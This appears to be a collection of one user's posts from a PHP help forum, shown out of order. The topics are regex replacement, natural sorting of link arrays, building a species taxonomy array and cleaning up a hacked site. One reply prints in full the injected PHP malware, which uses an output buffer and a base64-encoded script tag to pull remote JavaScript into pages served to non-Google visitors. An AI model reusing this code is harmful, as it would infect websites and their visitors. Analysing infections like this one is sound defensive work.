mac_gabe

Thanks Jessica!

I think I may have known how to do this once but I've definitely forgotten now. Please help. I have a text with many instance of "Adam" and "John" in it. In a single find-and-replace (I don't want to use 2 passes) I want to replace all instance of "Adam" with "x", and "John" with "y". In fact the actual example is a little more complex, but this will solve it. I'm struggling with this: $search="@(Adam)|(John)@"; $replace="@x|y@"; $text = preg_replace($search, $replace, $text); I know there should be a back reference - something like $1 or $2 in the replace term probably; but that's not going to produce the letters x or y. So I'm stuck. Thanks for any help.

Sure this is it: if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"google")){ return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9zd2VlcHN0YWtlc2FuZGNvbnRlc3RzaW5mby5jb20vanMucGhwP3M9MSI+PC9zY3JpcHQ+"); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&{ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } } the first bit of 64code within code points to: <script src="http://sweepstakesandcontestsinfo.com/js.php?s=1"></script> The version discussed here, which looks similar, is dissected at the bottom of the thread, and has a trojan payload: http://forums.oscommerce.com/topic/355864-base-64-infection/

Thanks - I don't see any reason to be targeted specifically, but then after any attack (I guess it would be the same with a burglary) you can't help but wonder. To be honest you'd have to have a lot of free time on your hands to bother to bring down my site. I think the bot idea is more of a relief somehow, but it's going to be difficult to change all the code I've written. There is no uploading on the site, so that can't be it, but I do have a script that writes stuff on another page. Later on I'll post examples of my scripts to see if anyone can see a loophole. I also did wonder about a guy who asked to advertise on the site. I inserted his code for a fee on one page - it looked legit, but he gave no contact details or anything. That was a month or two before this. For reference, the actual exploit code is very similar to these two examples: http://forums.oscommerce.com/topic/336693-i-have-been-hacked-help-please/ http://drupal.org/node/504010 (not sure what the rule for linking to these sorts of posts is, apologies if it's not allowed) it's a long line of base 64, which I think first redirects google requests to a particular website, and then seems to unpack a whole bunch of stuff using gzdecode. I can't follow it after that. It looks really nasty. I've contacted the host and they said it wasn't a breach on their part and they would look at the FTP logs.

Thanks for those pieces of advice. The htaccess worked fine and immediately, so now the site is down pointing to a maintenance message, which is at least a first step. Fortunately I have next to no mysql (maybe some old databases, but not used) and no customer or login information or other sensitive info on the site - precisely because I felt I would not be able to guarantee safety, with my pretty weak coding experience. So its really a matter of removing the bad code, which should be easy, then checking there are no more nasties, which will be fairly time consuming since it's a big site. Then finding the breach - my first guess is the php I've been writing over the summer left an obvious exploit! But as you say if it's via FTP/password that's a much bigger problem as it'll imply a breach of my home computer or laptop where the password is stored, so I'd have to change all pws. My password is very long and complex so it can't have been guessed. I'll check with the host though too, just in case they've been exploited (would they tell me?). But if all those come up clean then it seems most likely my PHP has left an opening. I can see the date all the files have been changed (less than a week ago) so I will try to check FTP logs for around that date. I'm wondering now if it's someone sitting at a computer somewhere that has specifically targeted my site, or whether it's more likely to be a bot that automatically detects and exploits unsafe code. Not sure which would be worse.

will try thanks

Thanks. I guess the easiest way to take the site down is through .htaccess. Do you know of code on the topmost level directory htaccess that will work site-wide to redirect all traffic to a maintenance page? This has never happened to me before.

On the first line of nearly all the php pages on my site the following has been inserted: <?php /**/ eval(base64_decode(".................="));?> dots replace actual code - it's about 3000 characters long and when I go to the site I get redirected (sometimes) to some bogus site - the last one was adobeupdatemanager.org - and a warning in Firefox / Google "to get out of here". This is a disaster! Is it a hack? How could it have happened? What should my first course of action be? What is the long term remedy? Can I post the code which I have omitted? I think it must be hex or something. I don't want to post the address of my site here. Thanks for any help

Well, I am actually processing the whole lot, but I figured if I could work out how to do col 4, I could use the same method for the other ones. I'm doing OK, I've done the "first column": "orders". On the face of it, that's a very easy column. Now rather than nesting the arrays though I'm numbering them (1.0.0.0., 2.0.0.0. etc). I realise now that you obviously can't have a value for a parent array (ie orders) in the multi-dim-array set up I had originally conceived, because that "parent" value doesn't exist as such in the array structure - it is just the whole content of the array it contains. Then I've also done "col 2" "families" (1.1.0.0., 1.2.0.0., 2.1.0.0. etc) - using your method i.e. look to see if the previous line contained an order, if it does reset the counter to 1, if not keep counting. That worked very nicely. I still have to do col 3 which is "genera" - but I took a break because I needed to do some other stuff, but I should be able to do it - and then redo col 4 in this manner. It requires quite a bit of nesting of clauses, which as a beginner, I find a bit taxing so is slow for me to do, but I am able to do it. After your help, my problem is now not so much how to write the code, but what design the database should take, because I find it hard to look round the corner to see what will be most useful. I figure if every species, genus, family and order has a unique number, and those numbers are logically connected (1.0.0.0., 1.2.3.1 etc ), that should be enough to calculate all relationships and sort orders, but I'm not sure how I should store that number. At the moment, I'm just prepending it to the name, but maybe it would be better to use it in the keys of the arrays. Or create a multi-dim-array with name in one array and numbers in the other. When I have done all that, I intend to use the numbered arrays to make further multi-dimensional arrays, with useful pairs of data. That way I way I can reduce the size of the arrays and load just what I need on a particular part of a web page and no more.

EDIT: Actually I think you can forget the whole thing - I can see I forgot to apply some new code now. Problem solved…

Wait, I've confused myself on this one - I had forgooten - I'm actually sorting by the visible text on this (not the html) that's why I need to have rules for spaces and caps … Sorry about the confusion - but I could potentially sort by the links if I preferred.

Hi, I've asked a related question before, but it was too specific, because it solved the problem I asked about, but didn't fix the the larger real problem. So this is the bigger problem. I'm trying to sort an array of html links, (below as $feed) in a "natural" way for a web index page. The array has about 1000 items so far. Example source: <?php <a href="blackbird.php">Blackbird</a> <a href="black_and_yellow_warbler.php">Black and Yellow Warbler</a> <a href="müller.php">Müller</a> <a href="munster.php">Munster</a> <a href="2.php">2</a> <a href="2008_show.php">2008 Show</a> <a href="1998.php">1998</a> ?> The rule for creating the links is that the visible link text is always mirrored in the <a href> link, but accents etc are always escaped, spaces replaced by underscores, capitals by lowercase. So I could potentially sort either by the link or the visible text - whichever was easier. Currently I'm sorting by the whole string, which is effectively by the html links. Sorting should be as follows: 1. numbers should come before letters. 2. Caps should be ignored (treated as if lowercase) 3. spaces, hyphens, underscores, apostrophes should be ignored (treated as if they weren't there), 4. accented characters should operate like their non-accented couterparts (é should be treated like e, ü like u [i realise the latter is linguistically incorrect, but prefer my order]) Ideally also 5. 9 should come before 10 6. 4H should come between 4 and 5 I'm currently using the code below, taken from php.net (which I'm not sure I really understand), which sorts out all of the problems regarding caps very nicely: <?php $array_lowercase = array_map('strtolower', $feed); array_multisort($array_lowercase, SORT_ASC, SORT_STRING, $feed); ?> Before sorting I also do a find and replace on the few examples of accents and apostrophes. E.g. replacing John's with Johnsxxx, then sorting, then a reverse find and replace. I have to customise each one, which is labour intensive, but fortunately there are only a handful of cases. In fact the "xxx" has to be put further down the string in many cases, e.g. JohnsStarxxx, because otherwise the "xxx" would sort John's Starling after Johnston's Bluebird, which would be no good. The main problem that remains though is spaces. Since spaces (or underscores) come before letters, Black Finch comes before Blackbird, whereas I want "Blackbird" to be between "Black and Yellow Warbler" and "Black Finch". There are many items with spaces (i.e. undescores in the link), far too many to write a find and replace for each one. So my question is, has anyone worked out a way to sort an array like this already… As I write this I've just thought I could do a preg_replace on the spaces, replacing the character after the space with an uppercase first letter, and then to undo this effect after sorting, I could just look for camelCase type words (which there would not normally be any of) and put the space back in. Does this sound like a good idea? Still, that doesn't solves the problem of the numbers. Currently it sorts like this (I think from memory) 1, 10, 1000, 102, 2, 2008 Show, 2B, 9, 99 etc. Any way to sort these in quasi-numerical value i.e. 1, 2, 2B, 9, 10, 102, 1000, 2008 Show? Thanks.

That is nothing short of phenomenal, mjdamato! Many thanks - I'm still trying to understand it but can already see it works. Thanks also aykay and mikesto for the advice to use a database. I did wonder whether I was trying to go about this the wrong way, but since I've never actually used a database successfully, I thought I'd have a go without if I could. FWIW, the data originally comes from one large excel spreadsheet with all the orders, families, genera and species in a big table. With lots of other information. The relevant part starts with order 1 in row 1 col 1; family 1 in row 2 col 2; genus 1 in row 3 col 3; species 1 in row 4 col 4; species 2 in row 5 col 4 etc. As mjdamato rightly says, even if I do ultimately store the data in a database, I think I would still probably need to clean it up like this, or in a similar fashion, before I can store it.

I just cannot get my head round this - so would really appreciate some help. It's for making a taxonomy of species, where species are a subset of genuses (genera), which are a subset of families, which are a subset of orders. I have an array of species data which I want to turn into a multi-array. This is my source as viewed with print_r(): Array ( [1] => [2] => [3] => [4] => tao [5] => solitarius [6] => osgoodi [7] => major [8] => guttatus [9] => [10] => bonapartei [11] => julius [12] => nigrocapillus [13] => [14] => [15] => berlepschi [16] => cinereus [17] => soui etc ) As you can see, first there are some empty element values, then full element values each separated by at least one empty value. The real array is much longer than this. I want to group each group of consecutive values into one sub-array, which will be one genus. The empty elements indicate a new genus (if one empty value), or new family & genus (2 consecutive empty values), or new order, family & genus (3 empties). In the source data, every order is sure to contain at least one family, every family is sure to contain at least one genus, and every genus is sure to contain at least one species. So this is what I'm aiming for: Array ( [1][0][0][0] => //1st order [1][1][0][0] => //1st order, 1st family [1][1][1][0] => //1st order, 1st family, 1st genus [1][1][1][1] => tao //1st order, 1st family, 1st genus, 1st species [1][1][1][2] => solitarius //1st order, 1st family, 1st genus, 2nd species [1][1][1][3] => osgoodi //etc [1][1][1][4] => major [1][1][1][5] => guttatus [1][1][2][0] => //1st order, 1st family, 2nd genus [1][1][2][1] => bonapartei //1st order, 1st family, 2nd genus, 1st species [1][1][2][2] => julius [1][1][2][3] => nigrocapillus [1][2][0][0] => //1st order, 2nd family [1][2][1][0] => //1st order, 2nd family, 1st genus [1][2][1][1] => berlepschi //1st order, 2nd family, 1st genus, 1st species [1][2][1][2] => cinereus //etc [1][2][1][3] => soui etc ) Many thanks as ever for any input, pointers, solutions. If I can solve this I should be able adapt it to add in the genera, families and orders.

I tried out Crayon's solution, just to learn the syntax, and it does indeed produce the required result. I'll adapt it in the future if I need to put a function on a regex result - so thanks for that. In this instance, there's no requirement now that I have the multisort function, but it will be good to know for the future. Thanks again to you both.